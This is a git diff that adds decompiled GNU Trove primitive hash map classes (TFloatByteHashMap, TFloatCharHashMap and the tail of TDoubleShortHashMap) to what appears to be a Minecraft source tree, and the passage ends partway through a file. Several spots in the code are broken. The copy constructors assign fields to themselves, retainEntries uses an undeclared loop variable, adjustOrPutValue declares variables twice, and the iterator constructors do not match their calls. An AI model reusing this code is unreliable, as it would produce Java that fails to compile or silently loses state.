+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TDoubleShortKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TDoubleShortKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TDoubleShortValueHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TDoubleShortValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TDoubleShortHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleShortIterator
+  {
+    TDoubleShortHashIterator(TDoubleShortHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public double key()
+    {
+      return _set[_index];
+    }
+    
+    public short value()
+    {
+      return _values[_index];
+    }
+    
+    public short setValue(short val)
+    {
+      short old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TDoubleShortMap)) {
+      return false;
+    }
+    TDoubleShortMap that = (TDoubleShortMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    short[] values = _values;
+    byte[] states = _states;
+    short this_no_entry_value = getNoEntryValue();
+    short that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        double key = _set[i];
+        short that_value = that.get(key);
+        short this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TDoubleShortProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(double key, short value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeDouble(_set[i]);
+        out.writeShort(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      double key = in.readDouble();
+      short val = in.readShort();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TFloatByteHashMap.java b/src/minecraft/gnu/trove/map/hash/TFloatByteHashMap.java
new file mode 100644
index 0000000..eac90b1
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TFloatByteHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TFloatByteHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TFloatByteIterator;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.map.TFloatByteMap;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TFloatByteProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatByteHashMap
+  extends TFloatByteHash
+  implements TFloatByteMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient byte[] _values;
+  
+  public TFloatByteHashMap() {}
+  
+  public TFloatByteHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatByteHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TFloatByteHashMap(int initialCapacity, float loadFactor, float noEntryKey, byte noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatByteHashMap(float[] keys, byte[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TFloatByteHashMap(TFloatByteMap map)
+  {
+    super(map.size());
+    if ((map instanceof TFloatByteHashMap)) {
+      TFloatByteHashMap hashmap = (TFloatByteHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0F) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    float[] oldKeys = _set;
+    byte[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new float[newCapacity];
+    _values = new byte[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        float o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public byte put(float key, byte value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public byte putIfAbsent(float key, byte value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private byte doPut(float key, byte value, int index)
+  {
+    byte previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Float, ? extends Byte> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Float, ? extends Byte> entry : map.entrySet()) {
+      put(((Float)entry.getKey()).floatValue(), ((Byte)entry.getValue()).byteValue());
+    }
+  }
+  
+
+  public void putAll(TFloatByteMap map)
+  {
+    ensureCapacity(map.size());
+    TFloatByteIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public byte get(float key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public byte remove(float key)
+  {
+    byte prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TFloatSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public float[] keys()
+  {
+    float[] keys = new float[size()];
+    float[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public float[] keys(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TByteCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public byte[] values()
+  {
+    byte[] vals = new byte[size()];
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public byte[] values(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(byte val)
+  {
+    byte[] states = _states;
+    byte[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(float key)
+  {
+    return contains(key);
+  }
+  
+
+  public TFloatByteIterator iterator()
+  {
+    return new TFloatByteHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TFloatProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TFloatByteProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] keys = _set;
+    byte[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TByteFunction function)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TFloatByteProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    float[] keys = _set;
+    byte[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(float key)
+  {
+    return adjustValue(key, (byte)1);
+  }
+  
+
+  public boolean adjustValue(float key, byte amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; byte[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((byte)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public byte adjustOrPutValue(float key, byte adjust_amount, byte put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    byte newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; byte[] tmp25_20 = _values;byte newValue = tmp25_20[tmp25_23] = (byte)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TFloatSet
+  {
+    protected TKeyView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TFloatByteHashMap.TFloatByteKeyHashIterator(TFloatByteHashMap.this, TFloatByteHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return TFloatByteHashMap.this.contains(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!TFloatByteHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TFloatSet)) {
+        return false;
+      }
+      TFloatSet that = (TFloatSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TByteCollection
+  {
+    protected TValueView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TFloatByteHashMap.TFloatByteValueHashIterator(TFloatByteHashMap.this, TFloatByteHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return values();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      byte[] values = _values;
+      float[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0F) && (set[i] != 2.0F) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TFloatByteKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TFloatByteKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TFloatByteValueHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TFloatByteValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TFloatByteHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatByteIterator
+  {
+    TFloatByteHashIterator(TFloatByteHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public float key()
+    {
+      return _set[_index];
+    }
+    
+    public byte value()
+    {
+      return _values[_index];
+    }
+    
+    public byte setValue(byte val)
+    {
+      byte old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TFloatByteMap)) {
+      return false;
+    }
+    TFloatByteMap that = (TFloatByteMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    byte[] values = _values;
+    byte[] states = _states;
+    byte this_no_entry_value = getNoEntryValue();
+    byte that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        float key = _set[i];
+        byte that_value = that.get(key);
+        byte this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TFloatByteProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(float key, byte value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeFloat(_set[i]);
+        out.writeByte(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      float key = in.readFloat();
+      byte val = in.readByte();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TFloatCharHashMap.java b/src/minecraft/gnu/trove/map/hash/TFloatCharHashMap.java
new file mode 100644
index 0000000..cd02dfc
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TFloatCharHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TFloatCharHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TFloatCharIterator;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.map.TFloatCharMap;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TFloatCharProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatCharHashMap
+  extends TFloatCharHash
+  implements TFloatCharMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient char[] _values;
+  
+  public TFloatCharHashMap() {}
+  
+  public TFloatCharHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatCharHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TFloatCharHashMap(int initialCapacity, float loadFactor, float noEntryKey, char noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatCharHashMap(float[] keys, char[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TFloatCharHashMap(TFloatCharMap map)
+  {
+    super(map.size());
+    if ((map instanceof TFloatCharHashMap)) {
+      TFloatCharHashMap hashmap = (TFloatCharHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0F) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
